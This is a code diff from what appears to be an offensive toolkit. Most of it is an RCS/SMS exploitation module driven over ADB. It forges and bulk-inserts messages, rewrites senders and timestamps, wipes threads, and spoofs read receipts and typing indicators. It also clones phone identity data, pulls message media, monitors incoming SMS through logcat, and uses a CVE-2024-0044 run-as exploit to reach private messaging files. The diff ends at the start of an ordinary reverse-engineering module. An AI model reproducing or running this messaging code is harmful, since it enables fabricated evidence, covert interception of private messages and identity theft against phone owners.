+ return {'ok': True, 'message': 'RCS message forged via provider', 'details': entry}
+
+ # Fallback: Archon relay
+ broadcast = (
+ f'shell am broadcast -a com.darkhal.archon.FORGE_RCS '
+ f'--es address "{address}" '
+ f'--es body "{body}" '
+ f'--ei type {msg_type} '
+ f'--el timestamp {ts} '
+ f'com.darkhal.archon'
+ )
+ result = self._run_adb(broadcast)
+ method = 'archon' if 'Broadcast completed' in result else 'failed'
+ entry = {
+ 'address': address, 'body': body, 'type': msg_type,
+ 'timestamp': ts, 'method': method,
+ 'action': 'forge_rcs', 'time': datetime.now().isoformat(),
+ }
+ self._forged_log.append(entry)
+ if method == 'archon':
+ return {'ok': True, 'message': 'RCS message forged via Archon', 'details': entry}
+ return {'ok': False, 'error': 'RCS forging requires Archon app or elevated access'}
+
+ def forge_conversation(self, address: str, messages: List[Dict],
+ contact_name: Optional[str] = None) -> Dict[str, Any]:
+ if not address or not messages:
+ return {'ok': False, 'error': 'Address and messages required'}
+ results = []
+ for msg in messages:
+ body = msg.get('body', '')
+ msg_type = int(msg.get('type', MSG_TYPE_INBOX))
+ ts = msg.get('timestamp')
+ if ts:
+ ts = int(ts)
+ r = self.forge_sms(address, body, msg_type, ts, contact_name)
+ results.append(r)
+ ok_count = sum(1 for r in results if r.get('ok'))
+ return {
+ 'ok': ok_count > 0,
+ 'message': f'Forged {ok_count}/{len(messages)} messages',
+ 'results': results,
+ }
+
+ def bulk_forge(self, messages_list: List[Dict]) -> Dict[str, Any]:
+ results = []
+ for msg in messages_list:
+ r = self.forge_sms(
+ address=msg.get('address', ''),
+ body=msg.get('body', ''),
+ msg_type=int(msg.get('type', MSG_TYPE_INBOX)),
+ timestamp=int(msg['timestamp']) if msg.get('timestamp') else None,
+ contact_name=msg.get('contact_name'),
+ read=int(msg.get('read', 1)),
+ )
+ results.append(r)
+ ok_count = sum(1 for r in results if r.get('ok'))
+ return {'ok': ok_count > 0, 'forged': ok_count, 'total': len(messages_list)}
+
+ def import_sms_backup_xml(self, xml_content: str) -> Dict[str, Any]:
+ """Import SMS from SMS Backup & Restore XML format."""
+ try:
+ root = ET.fromstring(xml_content)
+ except ET.ParseError as e:
+ return {'ok': False, 'error': f'Invalid XML: {e}'}
+ count = 0
+ errors = []
+ for sms_elem in root.findall('.//sms'):
+ address = sms_elem.get('address', '')
+ body = sms_elem.get('body', '')
+ msg_type = int(sms_elem.get('type', '1'))
+ date = sms_elem.get('date')
+ read = int(sms_elem.get('read', '1'))
+ if not address:
+ continue
+ ts = int(date) if date else None
+ result = self.forge_sms(address, body, msg_type, ts, read=read)
+ if result.get('ok'):
+ count += 1
+ else:
+ errors.append(result.get('error', 'unknown'))
+ return {
+ 'ok': count > 0,
+ 'imported': count,
+ 'errors': len(errors),
+ 'error_details': errors[:10],
+ }
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §8 MESSAGE MODIFICATION
+ # ══════════════════════════════════════════════════════════════════════
+
+ def modify_message(self, msg_id: int, new_body: Optional[str] = None,
+ new_timestamp: Optional[int] = None, new_type: Optional[int] = None,
+ new_read: Optional[int] = None) -> Dict[str, Any]:
+ bindings = {}
+ if new_body is not None:
+ bindings['body'] = new_body
+ if new_timestamp is not None:
+ bindings['date'] = new_timestamp
+ if new_type is not None:
+ bindings['type'] = new_type
+ if new_read is not None:
+ bindings['read'] = new_read
+ if not bindings:
+ return {'ok': False, 'error': 'No modifications specified'}
+ result = self._content_update(f'{SMS_URI}{msg_id}', bindings)
+ if self._is_error(result):
+ return {'ok': False, 'error': result}
+ return {'ok': True, 'message': f'Message {msg_id} modified', 'changes': bindings}
+
+ def delete_message(self, msg_id: int) -> Dict[str, Any]:
+ result = self._content_delete(f'{SMS_URI}{msg_id}')
+ if self._is_error(result):
+ return {'ok': False, 'error': result}
+ return {'ok': True, 'message': f'Message {msg_id} deleted'}
+
+ def delete_conversation(self, thread_id: int) -> Dict[str, Any]:
+ result = self._content_delete(SMS_URI, where=f'thread_id={thread_id}')
+ if self._is_error(result):
+ return {'ok': False, 'error': result}
+ return {'ok': True, 'message': f'Thread {thread_id} deleted'}
+
+ def change_sender(self, msg_id: int, new_address: str) -> Dict[str, Any]:
+ result = self._content_update(f'{SMS_URI}{msg_id}', {'address': new_address})
+ if self._is_error(result):
+ return {'ok': False, 'error': result}
+ return {'ok': True, 'message': f'Message {msg_id} sender changed to {new_address}'}
+
+ def shift_timestamps(self, address: str, offset_minutes: int) -> Dict[str, Any]:
+ safe_addr = address.replace("'", "''")
+ msgs = self._content_query(SMS_URI, projection='_id:date',
+ where=f"address='{safe_addr}'")
+ modified = 0
+ offset_ms = offset_minutes * 60 * 1000
+ for msg in msgs:
+ msg_id = msg.get('_id')
+ old_date = msg.get('date')
+ if msg_id and old_date:
+ new_date = int(old_date) + offset_ms
+ r = self._content_update(f'{SMS_URI}{msg_id}', {'date': new_date})
+ if not self._is_error(r):
+ modified += 1
+ return {'ok': modified > 0, 'modified': modified, 'total': len(msgs)}
+
+ def mark_all_read(self, thread_id: Optional[int] = None) -> Dict[str, Any]:
+ where = f'thread_id={thread_id} AND read=0' if thread_id else 'read=0'
+ result = self._content_update(SMS_URI, {'read': 1}, where=where)
+ if self._is_error(result):
+ return {'ok': False, 'error': result}
+ return {'ok': True, 'message': 'Messages marked as read'}
+
+ def wipe_thread(self, thread_id: int) -> Dict[str, Any]:
+ # Delete from both SMS and MMS
+ r1 = self._content_delete(SMS_URI, where=f'thread_id={thread_id}')
+ r2 = self._content_delete(MMS_URI, where=f'thread_id={thread_id}')
+ return {'ok': True, 'sms_result': r1, 'mms_result': r2,
+ 'message': f'Thread {thread_id} wiped'}
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §9 RCS EXPLOITATION
+ # ══════════════════════════════════════════════════════════════════════
+
+ def read_rcs_features(self, address: str) -> Dict[str, Any]:
+ """Check RCS capabilities for a phone number."""
+ # Try dumpsys for RCS capability info
+ output = self._shell(f'dumpsys telephony_ims')
+ features = {'address': address, 'rcs_capable': False, 'features': []}
+ if output and not self._is_error(output):
+ if address in output:
+ features['rcs_capable'] = True
+ # Parse UCE capabilities
+ for line in output.splitlines():
+ if 'capability' in line.lower() or 'uce' in line.lower():
+ features['features'].append(line.strip())
+ # Also try Archon query
+ broadcast = (
+ f'shell am broadcast -a com.darkhal.archon.CHECK_RCS_CAPABLE '
+ f'--es address "{address}" com.darkhal.archon'
+ )
+ self._run_adb(broadcast)
+ return {'ok': True, **features}
+
+ def spoof_rcs_read_receipt(self, msg_id: str) -> Dict[str, Any]:
+ """Spoof a read receipt for an RCS message."""
+ # Via content provider update
+ result = self._content_update(
+ f'content://rcs/p2p_thread/0/incoming_message/{msg_id}',
+ {'seen_timestamp': self._ts_ms()},
+ )
+ if not self._is_error(result) and 'SecurityException' not in result:
+ return {'ok': True, 'message': f'Read receipt spoofed for message {msg_id}'}
+ # Fallback: Archon
+ broadcast = (
+ f'shell am broadcast -a com.darkhal.archon.SPOOF_READ_RECEIPT '
+ f'--es msg_id "{msg_id}" com.darkhal.archon'
+ )
+ r = self._run_adb(broadcast)
+ return {
+ 'ok': 'Broadcast completed' in r,
+ 'message': 'Read receipt spoof attempted via Archon',
+ }
+
+ def spoof_rcs_typing(self, address: str) -> Dict[str, Any]:
+ """Send a fake typing indicator via Archon."""
+ broadcast = (
+ f'shell am broadcast -a com.darkhal.archon.SPOOF_TYPING '
+ f'--es address "{address}" com.darkhal.archon'
+ )
+ r = self._run_adb(broadcast)
+ return {
+ 'ok': 'Broadcast completed' in r,
+ 'message': f'Typing indicator spoofed to {address}',
+ }
+
+ def enumerate_rcs_providers(self) -> Dict[str, Any]:
+ """Discover all accessible messaging content providers on the device."""
+ return self.enumerate_providers()
+
+ def clone_rcs_identity(self) -> Dict[str, Any]:
+ """Extract RCS registration/identity data for cloning."""
+ identity = {}
+ # Get IMSI/ICCID
+ identity['imei'] = self._shell('service call iphonesubinfo 1 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4')
+ identity['phone_number'] = self._shell('service call iphonesubinfo 15 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4')
+ # Get RCS provisioning state
+ for pkg in MESSAGING_PACKAGES:
+ sp_dir = f'/data/data/{pkg}/shared_prefs/'
+ files = self._shell(f'run-as {self._exploit_victim_name} ls {sp_dir} 2>/dev/null') \
+ if self._cve_exploit_active else ''
+ if files and not self._is_error(files):
+ identity[f'{pkg}_shared_prefs'] = files.splitlines()
+ # Get SIM info
+ identity['sim_operator'] = self._shell('getprop gsm.sim.operator.alpha')
+ identity['sim_country'] = self._shell('getprop gsm.sim.operator.iso-country')
+ identity['network_type'] = self._shell('getprop gsm.network.type')
+ return {'ok': True, 'identity': identity}
+
+ def extract_rcs_media(self, msg_id: str) -> Dict[str, Any]:
+ """Extract media files from RCS messages."""
+ # Check MMS parts for media
+ parts = self._content_query(
+ f'content://mms/{msg_id}/part',
+ projection='_id:mid:ct:_data:name',
+ )
+ media_files = []
+ for part in parts:
+ ct = part.get('ct', '')
+ if ct and ct != 'text/plain' and ct != 'application/smil':
+ data_path = part.get('_data', '')
+ if data_path:
+ # Pull the file
+ local_name = f"media_{msg_id}_{part.get('_id', 'unknown')}"
+ ext = ct.split('/')[-1] if '/' in ct else 'bin'
+ local_path = str(self._exports_dir / f'{local_name}.{ext}')
+ pull = self._run_adb(f'pull {data_path} {local_path}')
+ if os.path.exists(local_path):
+ media_files.append({
+ 'content_type': ct,
+ 'local_path': local_path,
+ 'device_path': data_path,
+ 'name': part.get('name', ''),
+ })
+ return {'ok': True, 'media': media_files, 'count': len(media_files)}
+
+ def intercept_archival_broadcast(self) -> Dict[str, Any]:
+ """Set up interception of GOOGLE_MESSAGES_ARCHIVAL_UPDATE broadcasts.
+
+ This is the enterprise archival broadcast that Google Messages sends
+ when messages are sent, received, edited, or deleted on managed devices.
+ """
+ # Register a broadcast receiver via Archon
+ broadcast = (
+ 'shell am broadcast -a com.darkhal.archon.REGISTER_ARCHIVAL_LISTENER '
+ 'com.darkhal.archon'
+ )
+ r = self._run_adb(broadcast)
+ info = {
+ 'broadcast_action': ARCHIVAL_BROADCAST_ACTION,
+ 'uri_extra_key': ARCHIVAL_URI_EXTRA,
+ 'note': 'Requires fully managed device with Google Messages as default SMS app',
+ 'requirement': 'MCM config: messages_archival = com.darkhal.archon',
+ }
+ return {
+ 'ok': 'Broadcast completed' in r,
+ 'message': 'Archival listener registration attempted',
+ 'info': info,
+ }
+
+ def extract_signal_protocol_state(self) -> Dict[str, Any]:
+ """Extract E2EE Signal Protocol session state (requires elevated access)."""
+ if not self._cve_exploit_active:
+ return {
+ 'ok': False,
+ 'error': 'Requires CVE-2024-0044 exploit or root access',
+ 'note': 'Signal Protocol keys are in '
+ '/data/data/com.google.android.apps.messaging/files/ '
+ 'but master key is in Android Keystore (hardware-backed, not extractable via ADB)',
+ }
+ victim = self._exploit_victim_name
+ # List files in the messaging app's files directory
+ files = self._shell(
+ f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/files/'
+ )
+ # List shared_prefs
+ prefs = self._shell(
+ f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/shared_prefs/'
+ )
+ return {
+ 'ok': True,
+ 'files_dir': files.splitlines() if files and not self._is_error(files) else [],
+ 'shared_prefs': prefs.splitlines() if prefs and not self._is_error(prefs) else [],
+ 'note': 'Session keys found but master encryption key is hardware-backed in Android Keystore',
+ }
+
+ def get_rcs_cve_database(self) -> Dict[str, Any]:
+ """Return known CVEs affecting RCS/Android messaging."""
+ return {'ok': True, 'cves': RCS_CVES, 'count': len(RCS_CVES)}
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §10 DATABASE BACKUP & CLONE
+ # ══════════════════════════════════════════════════════════════════════
+
+ def full_backup(self, fmt: str = 'json') -> Dict[str, Any]:
+ """Complete SMS/MMS/RCS backup."""
+ timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
+
+ # Get SMS
+ sms = self.read_sms_database(limit=10000)
+ # Get MMS
+ mms = self.read_mms_database(limit=5000)
+ # Get conversations
+ convos = self.read_conversations(limit=1000)
+ # Try RCS provider
+ rcs = self.read_rcs_provider()
+
+ backup = {
+ 'timestamp': timestamp,
+ 'device': self.get_device_info(),
+ 'sms': sms,
+ 'mms': mms,
+ 'conversations': convos,
+ 'rcs': rcs if rcs.get('ok') else {},
+ 'stats': {
+ 'sms_count': len(sms),
+ 'mms_count': len(mms),
+ 'conversation_count': len(convos),
+ },
+ }
+
+ if fmt == 'xml':
+ backup_path = self._backups_dir / f'backup_{timestamp}.xml'
+ self._write_sms_backup_xml(sms, str(backup_path))
+ else:
+ backup_path = self._backups_dir / f'backup_{timestamp}.json'
+ with open(backup_path, 'w') as f:
+ json.dump(backup, f, indent=2, default=str)
+
+ return {
+ 'ok': True,
+ 'path': str(backup_path),
+ 'stats': backup['stats'],
+ 'message': f'Backup saved to {backup_path}',
+ }
+
+ def _write_sms_backup_xml(self, messages: List[Dict], path: str):
+ """Write SMS Backup & Restore compatible XML."""
+ root = ET.Element('smses', count=str(len(messages)))
+ for msg in messages:
+ attrs = {
+ 'protocol': str(msg.get('protocol', '0') or '0'),
+ 'address': str(msg.get('address', '') or ''),
+ 'date': str(msg.get('date', '') or ''),
+ 'type': str(msg.get('type', '1') or '1'),
+ 'body': str(msg.get('body', '') or ''),
+ 'read': str(msg.get('read', '1') or '1'),
+ 'status': str(msg.get('status', '-1') or '-1'),
+ 'locked': str(msg.get('locked', '0') or '0'),
+ 'date_sent': str(msg.get('date_sent', '0') or '0'),
+ 'readable_date': str(msg.get('date_formatted', '') or ''),
+ 'contact_name': str(msg.get('contact_name', '(Unknown)') or '(Unknown)'),
+ }
+ ET.SubElement(root, 'sms', **attrs)
+ tree = ET.ElementTree(root)
+ ET.indent(tree, space=' ')
+ tree.write(path, encoding='unicode', xml_declaration=True)
+
+ def full_restore(self, backup_path: str) -> Dict[str, Any]:
+ """Restore messages from a backup file."""
+ path = Path(backup_path)
+ if not path.exists():
+ # Check in backups dir
+ path = self._backups_dir / backup_path
+ if not path.exists():
+ return {'ok': False, 'error': f'Backup file not found: {backup_path}'}
+
+ if path.suffix == '.xml':
+ with open(path, 'r') as f:
+ return self.import_sms_backup_xml(f.read())
+ elif path.suffix == '.json':
+ with open(path, 'r') as f:
+ backup = json.load(f)
+ sms = backup.get('sms', [])
+ if not sms:
+ return {'ok': False, 'error': 'No SMS messages in backup'}
+ return self.bulk_forge(sms)
+ return {'ok': False, 'error': f'Unsupported format: {path.suffix}'}
+
+ def clone_to_device(self) -> Dict[str, Any]:
+ """Clone all messages from current device backup to another device.
+
+ Steps: 1) Run full_backup on source, 2) Connect target device,
+ 3) Run full_restore with the backup file.
+ """
+ backup = self.full_backup()
+ if not backup.get('ok'):
+ return backup
+ return {
+ 'ok': True,
+ 'message': 'Backup created. Connect target device and call full_restore()',
+ 'backup_path': backup['path'],
+ 'stats': backup['stats'],
+ }
+
+ def export_messages(self, address: Optional[str] = None, fmt: str = 'json') -> Dict[str, Any]:
+ """Export messages to JSON, CSV, or XML."""
+ if address:
+ msgs = self.get_messages_by_address(address)
+ else:
+ msgs = self.read_sms_database(limit=10000)
+
+ timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
+ suffix = f'_{address}' if address else '_all'
+
+ if fmt == 'csv':
+ export_path = self._exports_dir / f'export{suffix}_{timestamp}.csv'
+ with open(export_path, 'w', newline='') as f:
+ if msgs:
+ writer = csv.DictWriter(f, fieldnames=msgs[0].keys())
+ writer.writeheader()
+ writer.writerows(msgs)
+ elif fmt == 'xml':
+ export_path = self._exports_dir / f'export{suffix}_{timestamp}.xml'
+ self._write_sms_backup_xml(msgs, str(export_path))
+ else:
+ export_path = self._exports_dir / f'export{suffix}_{timestamp}.json'
+ with open(export_path, 'w') as f:
+ json.dump(msgs, f, indent=2, default=str)
+
+ return {
+ 'ok': True,
+ 'path': str(export_path),
+ 'count': len(msgs),
+ 'format': fmt,
+ }
+
+ def list_backups(self) -> Dict[str, Any]:
+ """List all backup files."""
+ backups = []
+ for f in sorted(self._backups_dir.iterdir(), reverse=True):
+ if f.is_file():
+ backups.append({
+ 'name': f.name,
+ 'path': str(f),
+ 'size': f.stat().st_size,
+ 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(),
+ })
+ return {'ok': True, 'backups': backups, 'count': len(backups)}
+
+ def list_exports(self) -> Dict[str, Any]:
+ """List all exported files."""
+ exports = []
+ for f in sorted(self._exports_dir.iterdir(), reverse=True):
+ if f.is_file():
+ exports.append({
+ 'name': f.name,
+ 'path': str(f),
+ 'size': f.stat().st_size,
+ 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(),
+ })
+ return {'ok': True, 'exports': exports, 'count': len(exports)}
+
+ def list_extracted_dbs(self) -> Dict[str, Any]:
+ """List extracted database snapshots."""
+ extractions = []
+ for d in sorted(self._extracted_dir.iterdir(), reverse=True):
+ if d.is_dir():
+ files = [f.name for f in d.iterdir()]
+ total_size = sum(f.stat().st_size for f in d.iterdir() if f.is_file())
+ extractions.append({
+ 'name': d.name,
+ 'path': str(d),
+ 'files': files,
+ 'total_size': total_size,
+ })
+ return {'ok': True, 'extractions': extractions, 'count': len(extractions)}
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §11 SMS/RCS MONITOR
+ # ══════════════════════════════════════════════════════════════════════
+
+ def start_sms_monitor(self) -> Dict[str, Any]:
+ if self._monitor_running:
+ return {'ok': False, 'error': 'Monitor already running'}
+ self._monitor_running = True
+ self._monitor_thread = threading.Thread(
+ target=self._monitor_loop, daemon=True, name='rcs-monitor',
+ )
+ self._monitor_thread.start()
+ return {'ok': True, 'message': 'SMS/RCS monitor started'}
+
+ def stop_sms_monitor(self) -> Dict[str, Any]:
+ self._monitor_running = False
+ return {'ok': True, 'message': 'Monitor stopping',
+ 'intercepted': len(self._intercepted)}
+
+ def get_intercepted_messages(self) -> Dict[str, Any]:
+ with self._intercepted_lock:
+ msgs = list(self._intercepted)
+ return {'ok': True, 'messages': msgs, 'count': len(msgs)}
+
+ def clear_intercepted(self) -> Dict[str, Any]:
+ with self._intercepted_lock:
+ count = len(self._intercepted)
+ self._intercepted.clear()
+ return {'ok': True, 'cleared': count}
+
+ def _monitor_loop(self):
+ """Background thread: watch logcat for incoming SMS/RCS."""
+ adb = self._get_adb()
+ try:
+ proc = subprocess.Popen(
+ f'{adb} shell logcat -s Bugle:V SmsReceiverService:V '
+ f'SmsMessage:V RilReceiver:V',
+ shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
+ )
+ while self._monitor_running:
+ line = proc.stdout.readline()
+ if not line:
+ break
+ line = line.strip()
+ if not line:
+ continue
+ # Parse relevant log lines
+ entry = None
+ if 'SMS received' in line or 'received SMS' in line.lower():
+ entry = {'type': 'sms_received', 'raw': line, 'time': datetime.now().isoformat()}
+ elif 'RCS' in line and ('received' in line.lower() or 'incoming' in line.lower()):
+ entry = {'type': 'rcs_received', 'raw': line, 'time': datetime.now().isoformat()}
+ elif 'SmsMessage' in line:
+ entry = {'type': 'sms_activity', 'raw': line, 'time': datetime.now().isoformat()}
+ if entry:
+ with self._intercepted_lock:
+ self._intercepted.append(entry)
+ if len(self._intercepted) > 1000:
+ self._intercepted = self._intercepted[-500:]
+ proc.terminate()
+ except Exception:
+ pass
+ finally:
+ self._monitor_running = False
+
+ def get_forged_log(self) -> List[Dict[str, Any]]:
+ return list(self._forged_log)
+
+ def clear_forged_log(self) -> Dict[str, Any]:
+ count = len(self._forged_log)
+ self._forged_log.clear()
+ return {'ok': True, 'cleared': count}
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §12 ARCHON APP INTEGRATION
+ # ══════════════════════════════════════════════════════════════════════
+
+ def archon_query(self, action: str, extras: Optional[Dict[str, str]] = None) -> Dict[str, Any]:
+ """Send a command to Archon's MessagingModule via ADB broadcast."""
+ cmd = f'shell am broadcast -a com.darkhal.archon.{action}'
+ if extras:
+ for key, val in extras.items():
+ if isinstance(val, int):
+ cmd += f' --ei {key} {val}'
+ elif isinstance(val, bool):
+ cmd += f' --ez {key} {str(val).lower()}'
+ else:
+ safe = str(val).replace('"', '\\"')
+ cmd += f' --es {key} "{safe}"'
+ cmd += ' com.darkhal.archon'
+ result = self._run_adb(cmd)
+ return {
+ 'ok': 'Broadcast completed' in result,
+ 'result': result,
+ }
+
+ def archon_extract_bugle(self) -> Dict[str, Any]:
+ """Ask Archon to extract bugle_db via Shizuku elevated access."""
+ return self.archon_query('EXTRACT_DB', {
+ 'target_package': 'com.google.android.apps.messaging',
+ 'database': 'bugle_db',
+ 'output_dir': '/sdcard/Download/autarch_extract',
+ })
+
+ def archon_forge_rcs(self, address: str, body: str, direction: str = 'incoming') -> Dict[str, Any]:
+ """Ask Archon to insert RCS message directly into bugle_db."""
+ return self.archon_query('FORGE_RCS', {
+ 'address': address,
+ 'body': body,
+ 'direction': direction,
+ 'timestamp': str(self._ts_ms()),
+ })
+
+ def archon_modify_rcs(self, msg_id: int, new_body: str) -> Dict[str, Any]:
+ """Ask Archon to modify an RCS message in bugle_db."""
+ return self.archon_query('MODIFY_RCS', {
+ 'msg_id': msg_id,
+ 'new_body': new_body,
+ })
+
+ def archon_get_rcs_threads(self) -> Dict[str, Any]:
+ """Get RCS thread list via Archon relay."""
+ return self.archon_query('GET_RCS_THREADS')
+
+ def archon_backup_all(self) -> Dict[str, Any]:
+ """Full backup via Archon (SMS + MMS + RCS + attachments)."""
+ result = self.archon_query('FULL_BACKUP', {
+ 'output_dir': '/sdcard/Download/autarch_backup',
+ 'include_rcs': 'true',
+ 'include_attachments': 'true',
+ })
+ if result.get('ok'):
+ # Pull the backup
+ time.sleep(5)
+ timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
+ local_dir = self._backups_dir / f'archon_backup_{timestamp}'
+ local_dir.mkdir(parents=True, exist_ok=True)
+ pull = self._run_adb(f'pull /sdcard/Download/autarch_backup/ {local_dir}/')
+ result['local_path'] = str(local_dir)
+ result['pull_result'] = pull
+ return result
+
+ def archon_set_default_sms(self) -> Dict[str, Any]:
+ """Set Archon as the default SMS/RCS app (enables full message access)."""
+ return self.set_default_sms_app('com.darkhal.archon')
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §13 PIXEL-SPECIFIC TOOLS
+ # ══════════════════════════════════════════════════════════════════════
+
+ def pixel_diagnostics(self) -> Dict[str, Any]:
+ """Run Pixel-specific RCS diagnostic commands."""
+ results = {}
+ # IMS status
+ results['ims'] = self._shell('dumpsys telephony_ims')[:3000]
+ # Carrier config (extract RCS-relevant keys)
+ cc = self.get_carrier_config()
+ results['carrier_rcs_config'] = cc.get('rcs_config', {})
+ # Phone info
+ results['phone'] = self._shell('dumpsys phone | head -50')
+ # Check if Pixel
+ brand = self._shell('getprop ro.product.brand').lower()
+ results['is_pixel'] = 'google' in brand
+ # RCS-specific settings
+ results['rcs_settings'] = {}
+ for key in ['rcs_autoconfiguration_enabled', 'rcs_e2ee_enabled',
+ 'chat_features_enabled']:
+ val = self._shell(f'settings get global {key}')
+ if not self._is_error(val):
+ results['rcs_settings'][key] = val
+ return {'ok': True, **results}
+
+ def enable_debug_menu(self) -> Dict[str, Any]:
+ """Instructions and automation for enabling Google Messages debug menu."""
+ return {
+ 'ok': True,
+ 'instructions': [
+ '1. Open Google Messages on the device',
+ '2. Tap the search bar',
+ '3. Type: *xyzzy*',
+ '4. A debug menu will appear in Settings',
+ '5. Enables: RCS connection state, ACS URL, feature flags, verbose logging',
+ ],
+ 'automated_phenotype': 'Use enable_verbose_logging() to enable debug flags via Phenotype',
+ }
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §14 CLI ENTRY POINT
+ # ══════════════════════════════════════════════════════════════════════
+
+ def run(self):
+ """CLI interactive mode."""
+ print(f"\n RCS/SMS Exploitation v{VERSION}")
+ print(" " + "=" * 40)
+ status = self.get_status()
+ if status.get('connected'):
+ dev = status['device']
+ print(f" Device: {dev.get('model', '?')} ({dev.get('serial', '?')})")
+ print(f" Android: {dev.get('android_version', '?')} (patch: {dev.get('security_patch', '?')})")
+ print(f" SMS App: {dev.get('default_sms_app', '?')}")
+ shizuku = status.get('shizuku', {})
+ print(f" Shizuku: {'running' if shizuku.get('running') else 'not running'}")
+ archon = status.get('archon', {})
+ print(f" Archon: {'installed' if archon.get('installed') else 'not installed'}")
+ cve = status.get('cve_2024_0044', {})
+ if cve.get('vulnerable'):
+ print(f" CVE-2024-0044: VULNERABLE")
+ else:
+ print(" No device connected")
+
+
+def run():
+ get_rcs_tools().run()
diff --git a/modules/reverse_eng.py b/modules/reverse_eng.py
new file mode 100644
index 0000000..658e63b
--- /dev/null
+++ b/modules/reverse_eng.py
@@ -0,0 +1,1979 @@
+"""AUTARCH Reverse Engineering Toolkit
+
+Binary analysis, PE/ELF parsing, disassembly, YARA scanning,
+hex viewing, packer detection, and Ghidra headless integration.
+"""
+
+DESCRIPTION = "Binary analysis, disassembly & reverse engineering"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "analyze"
+
+import os
+import sys
+import re
+import math
+import json
+import struct
+import hashlib
+import subprocess
+import tempfile
+from pathlib import Path
+from datetime import datetime
+from typing import Dict, List, Optional, Any, Tuple
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+try:
+ from core.paths import get_data_dir, find_tool
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+ def find_tool(name, extra_paths=None):
+ import shutil
+ return shutil.which(name)
+
+try:
+ from core.banner import Colors, clear_screen, display_banner
+except ImportError:
+ class Colors:
+ CYAN = BOLD = GREEN = YELLOW = RED = WHITE = DIM = RESET = ""
+ def clear_screen(): pass
+ def display_banner(): pass
+
+# Optional: capstone disassembler
+try:
+ import capstone
+ HAS_CAPSTONE = True
+except ImportError:
+ HAS_CAPSTONE = False
+
+# Optional: yara-python
+try:
+ import yara
+ HAS_YARA = True
+except ImportError:
+ HAS_YARA = False
+
+
+# ── Magic Bytes ──────────────────────────────────────────────────────────────
+
+MAGIC_BYTES = {
+ b'\x4d\x5a': 'PE',
+ b'\x7fELF': 'ELF',
+ b'\xfe\xed\xfa\xce': 'Mach-O (32-bit)',
+ b'\xfe\xed\xfa\xcf': 'Mach-O (64-bit)',
+ b'\xce\xfa\xed\xfe': 'Mach-O (32-bit, reversed)',
+ b'\xcf\xfa\xed\xfe': 'Mach-O (64-bit, reversed)',
+ b'\xca\xfe\xba\xbe': 'Mach-O (Universal)',
+ b'\x50\x4b\x03\x04': 'ZIP/JAR/APK/DOCX',
+ b'\x50\x4b\x05\x06': 'ZIP (empty)',
+ b'\x25\x50\x44\x46': 'PDF',
+ b'\xd0\xcf\x11\xe0': 'OLE2 (DOC/XLS/PPT)',
+ b'\x89\x50\x4e\x47': 'PNG',
+ b'\xff\xd8\xff': 'JPEG',
+ b'\x47\x49\x46\x38': 'GIF',
+ b'\x1f\x8b': 'GZIP',
+ b'\x42\x5a\x68': 'BZIP2',
+ b'\xfd\x37\x7a\x58': 'XZ',
+ b'\x37\x7a\xbc\xaf': '7-Zip',
+ b'\x52\x61\x72\x21': 'RAR',
+ b'\xca\xfe\xba\xbe': 'Java Class / Mach-O Universal',
+ b'\x7f\x45\x4c\x46': 'ELF',
+ b'\x23\x21': 'Script (shebang)',
+ b'\x00\x61\x73\x6d': 'WebAssembly',
+ b'\xed\xab\xee\xdb': 'RPM',
+ b'\x21\x3c\x61\x72': 'Debian/AR archive',
+}
+
+
+# ── Packer Signatures ───────────────────────────────────────────────────────
+
+PACKER_SIGNATURES = {
+ 'UPX': {
+ 'section_names': [b'UPX0', b'UPX1', b'UPX2', b'UPX!'],
+ 'magic': [b'UPX!', b'UPX0', b'\x55\x50\x58'],
+ 'description': 'Ultimate Packer for Executables',
+ },
+ 'Themida': {
+ 'section_names': [b'.themida', b'.winlice'],
+ 'magic': [],
+ 'description': 'Themida / WinLicense protector',
+ },
+ 'ASPack': {
+ 'section_names': [b'.aspack', b'.adata'],
+ 'magic': [b'\x60\xe8\x00\x00\x00\x00\x5d\x81\xed'],
+ 'description': 'ASPack packer',
+ },
+ 'MPRESS': {
+ 'section_names': [b'.MPRESS1', b'.MPRESS2'],
+ 'magic': [],
+ 'description': 'MPRESS packer',
+ },
+ 'VMProtect': {
+ 'section_names': [b'.vmp0', b'.vmp1', b'.vmp2'],
+ 'magic': [],
+ 'description': 'VMProtect software protection',
+ },
+ 'PECompact': {
+ 'section_names': [b'PEC2', b'pec1', b'pec2', b'PEC2TO'],
+ 'magic': [],
+ 'description': 'PECompact packer',
+ },
+ 'Petite': {
+ 'section_names': [b'.petite'],
+ 'magic': [b'\xb8\x00\x00\x00\x00\x66\x9c\x60\x50'],
+ 'description': 'Petite packer',
+ },
+ 'NSPack': {
+ 'section_names': [b'.nsp0', b'.nsp1', b'.nsp2', b'nsp0', b'nsp1'],
+ 'magic': [],
+ 'description': 'NSPack (North Star) packer',
+ },
+ 'Enigma': {
+ 'section_names': [b'.enigma1', b'.enigma2'],
+ 'magic': [],
+ 'description': 'Enigma Protector',
+ },
+ 'MEW': {
+ 'section_names': [b'MEW'],
+ 'magic': [],
+ 'description': 'MEW packer',
+ },
+}
+
+
+# ── PE Constants ─────────────────────────────────────────────────────────────
+
+PE_MACHINE_TYPES = {
+ 0x0: 'Unknown',
+ 0x14c: 'x86 (i386)',
+ 0x166: 'MIPS R4000',
+ 0x1a2: 'Hitachi SH3',
+ 0x1a6: 'Hitachi SH4',
+ 0x1c0: 'ARM',
+ 0x1c4: 'ARM Thumb-2',
+ 0x200: 'Intel IA-64',
+ 0x8664: 'x86-64 (AMD64)',
